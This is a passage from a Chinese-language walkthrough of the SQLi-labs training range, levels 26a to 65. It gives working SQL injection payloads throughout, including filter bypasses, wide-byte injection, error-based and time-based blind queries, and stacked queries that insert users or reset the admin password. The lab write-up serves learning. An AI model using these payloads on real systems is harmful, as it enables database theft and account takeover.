,发现回显位在第2位。
然后就是经典的联合注入操作了,这里不再赘述。
OK,第26a关拿下!
这一关将union、select给过滤掉了,我们可以大小写绕过或者重写绕过,这里依然过滤了注释符。
经测试,是单引号闭合。
这里演示报错注入中的一步参数:?id=neos'||(updatexml(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))||'neos'='neos
其余不多赘述。
OK,第27关拿下!
经测试,双引号闭合。
这一关没有报错信息了,不能使用报错注入,和26a一样使用联合注入或盲注。
这里演示测回显位信息的参数:?id=neos"%0BuNion%0BsElect%0B@@basedir,database(),version()%0B||"neos"="neos
。
其余操作这里不做赘述。
OK,第27a关拿下!
经测试,单引号单括号闭合。
这一关大小写绕过没有用了,可以使用重写绕过。?id=neos')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and('1
。
其余操作不赘述。
OK,第28关拿下!
经测试,是单引号单括号闭合。
这一关简单了许多,只过滤了union和select。
?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'-- neos
其余操作不赘述。
OK,第28a关拿下!
这一关对参数进行了过滤,由于SQL语句在接受相同参数时候接受的是后面的参数值,故而可以使用两个id,第一个id是正常内容,对第二个id进行SQL注入。
这里演示其中一步:
?id=2&id=-2’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’-- neos
其余操作不赘述。
OK,第29关拿下!
这一关是双引号闭合,这里演示其中一步:
?id=2&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- neos
。
其余操作不赘述。
OK,第30关拿下!
这一关是双引号单括号闭合,这里演示其中一步:
?id=2&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- neos
。
其余操作不赘述。
OK,第31关拿下!
这一关看了后台源码,发现单引号'
被过滤成\'
,这样后台解析的时候就会将\'
看作一个双字节字符,我们使用单引号'
的作用也就没有了。
不过上有政策,下有对策,我们这里使用一种新的姿势:宽字节注入。
举个例子,比如参数?id=1'
经过函数过滤,会变成?id=1\'
,最后变成?id=1%5C%27
,其中0x5C被看作转义符\
,使后面的单引号'
不起作用;
而我们知道,汉字是双字节字符,且前一个字节大于128
,如果参数为?id=1%df
’,会变成?id=1%df\'
,最后变成?id=1%df%5C%27
,那么%df%5C
会被看作一个汉字,%27
就会被看作单引号了。妙!
注意,这里添加的宽字节的前一个字节需要大于128,因为大于128才会被理解为汉字。比如df的二进制为11011111,十进制为223,大于128,可以使用,但是5e就不能用了,因为他的二进制数为01011110,十进制为94,小于128,是一个特殊字符^
。
解释完毕,我们构造参数:?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- neos
测出了表名。
测列名的时候有一个 table_name=‘users’,这里有单引号’,添加%df就没有用了,这里需要将users作16禁止编码为0x7573657273,
然后table_name=0x7573657273就搞定了。
其余没有什么注意点了,这里不再赘述。
OK,第32关拿下!
和上一关完全相同,这里不再赘述。
OK,第33关拿下!
换个形式的宽字节注入而已,不过这里不可以在输入栏输入参数了,需要抓包修改参数:adm888in%df' union select 1,group_concat(password,username) from users -- neos
。
OK,第34关拿下!
这一关是数字型闭合,所以就不需要%df
了,不过测属性名的时候由于会使用引号,所以那个时候将users转成16进制即可,在32关的时候讲过。这里演示构造一步参数,注意和32关的区别:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- neos
。
其余不多赘述。
OK,第35关拿下!
和32关一样,这里演示测列名:
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 -- neos
其余不多赘述。
OK,第36关拿下!
和34关一摸一样,这里不多赘述。
OK,第37关拿下!
这一关很简单,单引号闭合。
演示一步参数:?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) -- neos
。注意报错注入的错误信息只显示32位,内容太多的话要结合limit关键字使用。
再介绍一个新方法,当后台识别参数时使用mysqli_multi_query()函数,那么意味着支持多条sql语句同时进行,甚至还可以增删改。
故我们的参数可以进行如下构造:?id=1';insert into users(id,username,password) values ('99','neos','neosShell')-- neos
。
很可怕的一个函数。
当然也可以联合注入了这里就不多演示了。
OK,第38关拿下!
和上一关一模一样,只不过是数字型闭合。
这里不多演示了。
OK,第39关拿下!
单引号单括号闭合,不显示错误信息,故不可以用报错注入了,但可以用联合注入和堆叠注入,和前两关一样,不多赘述。
OK,第40关拿下!
数字型闭合,和40关一样,不多赘述。
OK,第41关拿下!
这个界面在第24关见过,那个时候是先注册带有恶意用户名的账号,然后登陆账号成功修改admin的密码。
不过这一关不可以注册账号。
我们可以通过抓包,对密码进行堆叠注入就可以创建新用户了,然后达到登陆的目的。
login_user=admin&login_password=1';insert into users(id,username,password) values ('100','neos100','111111')--+&mysubmit=Login
这时候可以登录新创建的用户了。
我们甚至可以在这一步直接修改admin密码,比如update users SET password='1234567' where username='admin'
。这个时候我们成功修改admin密码。当然了,你得提前知道有users这张表,有admin这个用户。
有点骇人,就不演示了。
所以说,mysqli_multi_query()函数是个很可怕的函数。
OK,第42关拿下!
和第42关一样,不过密码这一栏是单引号单括号闭合,其余不多赘述,再次说明,mysqli_multi_query()函数是个很可怕的函数,不建议单单使用。
OK,第43关拿下!
和42关一摸一样,这里不多赘述。
OK,第44关拿下!
和43关一摸一样,这里不多赘述。
OK,第45关拿下!
这一关要求输入新的参数sort了,是数字型闭合,我们输入不同的参数?sort=1,2,3,发现出来一张表,并且将这张表按第1,2,3列排序。
那这里可以猜测后台SQL语句中肯定有order by $sort
。
参数不在where的条件表达式中,故我们若构造联合注入语句,则union后面的结果是不会显示的,不过有报错信息,故我们可以使用报错注入。
这里演示测属性名的参数:?sort=2 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))
其余不再赘述。
OK,第46关拿下!
这一关是单引号闭合,其余和上一关一样。
这里演示测数据项的参数:?sort=2' and (extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e)))-- neos
数据项太多,故这里使用了limit关键字,一行一行测。
其余不多赘述。
OK,第47关拿下!
这一关没有报错信息,只有回显内容和不回显内容,故不能使用报错注入,由于order by 后面不是条件式,故布尔盲注也无法使用,我们这里选择不常用的延时注入。
这里演示测数据库名长度的参数:?sort=1 and if(length(database())=8,sleep(4),1) -- neos
。
如果成功休眠,意味着数据库名长度为8。
费时费力的方式,其余不多赘述。
OK,第48关拿下!
单引号闭合,其余和上一关一样,这里不多赘述。
OK,第49关拿下!
参数和46关一摸一样,不过这里后台使用了那个很危险的函数,故也可以堆叠注入,延时注入也是可以的,这里不多赘述。
OK,第50关拿下!
这关和50关唯一的区别就是单引号闭合,起义和50关一样,这里不多赘述。
OK,第51关拿下!
这一关没有报错信息了,故不能使用报错注入了,其余50关一摸一样,这里不多赘述。
OK,第52关拿下!
和52关区别是单引号闭合,这里不多赘述。
OK,第53关拿下!
这一关往后很简单了,也没有什么特别的过滤,但是输入参数只有有限次机会了,测试你之前的功夫修炼的怎么样,超过次数就会重置表列,故需要精准拿捏,这里我们愿意的话尽量搭配后台代码来测试。
我们这里按步骤拿捏一下:
1)测闭合:?id=1' -- neos
,单引号闭合;
2)测回显位:?id=-1' union select 1,2,3 -- neos
,2,3号位;
3)测库名:?id=-1' union select 1,database(),3 -- neos
,库名位challenges;
4)测表名:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'-- neos
人不同,表不同;
5)测列名:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='Q4USP99Y1K'-- neos
人不同,列不同;
6)测数据项:我们的目标是secret_IFI9字段,?id=-1' union select 1,group_concat(secret_IFI9),3 from Q4USP99Y1K -- neos
。
最后提交那一串即可。
OK,第54关拿下!
这一关为数字型单括号闭合,所以也多了几次测试机会,其余不多赘述。
OK,第55关拿下!
这一关为单引号单括号闭合,其余不多赘述。
OK,第56关拿下!
这一关为双引号闭合,其余不多赘述。
OK,第57关拿下!
测得是单引号闭合。
本来以为可以联合注入,可是看源码后发现数据是从一个数组中按id为下标取出,所以union就没用了,不过有报错信息,我们直接报错注入。
我们演示测列名的参数:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='BHCFUJUOP7'),0x7e),1) -- neos
,
其余不多赘述了。
OK,第58关拿下!
数字型,其余和58关一样,不多赘述。
OK,第59关拿下!
双引号单括号闭合,其余和58关一样,不多赘述。
OK,第60关拿下!
单引号双括号闭合,其余和58关一样,不多赘述。
OK,第61关拿下!
单引号单括号闭合,但是这一关没有报错信息,故报错注入是不行了,加上联合注入也不行,故这里使用布尔盲注或延时注入,正好非常多的测试机会。
我们演示布尔盲注测数据库名长度的参数:?id=1') and length((select database()))=8 -- neos
,
其余不多赘述了。
OK,第62关拿下!
单引号闭合,其余和62关一样。
我们演示延时注入测数据库名长度的参数:?id=1' and if(length((select database())) = 10,sleep(4),1) -- neos
,不多赘述了。
OK,第63关拿下!
数字型双括号闭合,其余和62关一样,这里不多赘述了。
OK,第64关拿下!
数字型闭合,其余和62关一样,这里不多赘述了。
OK,第65关拿下!
至此,全部拿下!!!!!
可以看到,越往后面走,越需要代码审计,结合后台代码看测试漏洞,会有很大的帮助。
经过这个专项靶场的摧残与磨练,我们对于SQL注入的认识肯定上了一个台阶。
虽然该靶场只基于PHP语言和MySQL数据库,没有涉及到当下其他热门的语言和数据库,但是SQL注入的思路都是差不多的,区别只是一些语法、关键字与函数的不同。
接下来大家对于SQL注入的学习基本上就是针对其他语言和数据库的操作了,相信大家经过这么大量的训练,累积了这么多的底蕴,到时候也能驾轻就熟,很快搞定!